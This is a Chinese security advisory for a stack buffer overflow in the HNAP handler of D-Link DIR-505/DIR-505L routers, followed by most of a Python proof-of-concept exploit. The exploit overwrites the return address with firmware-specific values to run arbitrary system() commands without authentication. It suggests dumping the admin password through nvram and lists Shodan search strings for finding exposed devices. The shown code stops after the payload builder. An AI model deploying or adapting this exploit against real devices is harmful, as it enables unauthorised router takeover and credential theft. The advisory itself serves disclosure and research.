发布日期：2014-05-15
更新日期：2014-05-28
受影响系统：
D-Link DIR-505
D-Link DIR-505L
描述：
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BUGTRAQ ID: 67651
Dlink专注于无线网络和以太网路硬件产品的设计开发。
DIR-505及DIR-505L无线路由器存在栈缓冲区溢出漏洞，在处理"Content-Length"报文头时，"do_hnap()"函数(/www/my_cgi.cgi)存在边界错误，这可使远程攻击者通过特制的 SOAP "GetDeviceSettings" HNAP 请求，利用此漏洞造成栈缓冲区溢出。
<*来源：Craig
链接：
*>
测试方法：
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警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Craig （）提供了如下测试方法：
===================================================
#!/usr/bin/env Python
# Unauthenticated stack overflow exploit that affects multiple D-Link products:
#
# o D-Link DSP-W215 hardware v1, firmware v1.00
# o D-Link DIR-505L hardware v1/2, firmware v1.06/1.07
#
# Shodan Dorks:
#
# o lighttpd/1.4.28-devel-4618M
# o lighttpd/1.4.28-devel-2866M
#
# The my_cgi.cgi CGI page responsible for handling HNAP requests reads
# Content-Length bytes into a fixed-size stack buffer.
#
# This exploit returns to .text to execute system() with a user-supplied
# command string (hint: try 'nvram get admin_user_pwd'). Output from the
# command will be returned to the user.
#
# Craig Heffner
# 2014-05-09
import sys
import urllib2
class Device(object):
def __init__(self, model, version, size, ra):
self.model = model
self.version = version
self.size = size
self.ra = ra
self.model_html = "<ModelName>%s" % self.model
self.version_html = "<FirmwareVersion>%s" % self.version
def match(self, html):
return (self.model_html in html and self.version_html in html)
class Vulnerability(object):
DEFAULT_COMMAND = 'nvram show'
VULNERABLE_DEVICES = [
Device("DIR-505", "1.06", 30000, "\x00\x40\x52\x34"),
Device("DIR-505", "1.07", 30000, "\x00\x40\x5C\x5C"),
Device("DSP-W215", "1.00", 1000000, "\x00\x40\x5C\xAC"),
]
def __init__(self, target, verbose=True):
self.verbose = verbose
self.target = target
self.url = "%s/HNAP1/" % self.target
if '://' not in self.url:
self.url = 'http://' + self.url
self._debug_message("Exploit URL: %s" % self.url)
def _debug_message(self, msg):
if self.verbose:
print "[+] %s" % msg
def _debug_error(self, err):
if self.verbose:
print "[-] %s" % err
def _build_exploit(self, device, command):
# Return to .text section to execute system() with an arbitrary command string
buf = "D" * device.size # Fill up the stack buffer
buf += "B" * 4 # $s0, don't care
buf += "B" * 4 # $s1, don't care
buf += "B" * 4 # $s2, don't care
buf += "B" * 4 # $s3, don't care
buf += "B" * 4 # $s4, don't care
buf += device.ra # $ra
buf += "C" * 0x28 # Stack filler
buf += command # Command to execute
buf += "\x00" # NULL-terminate the command
return buf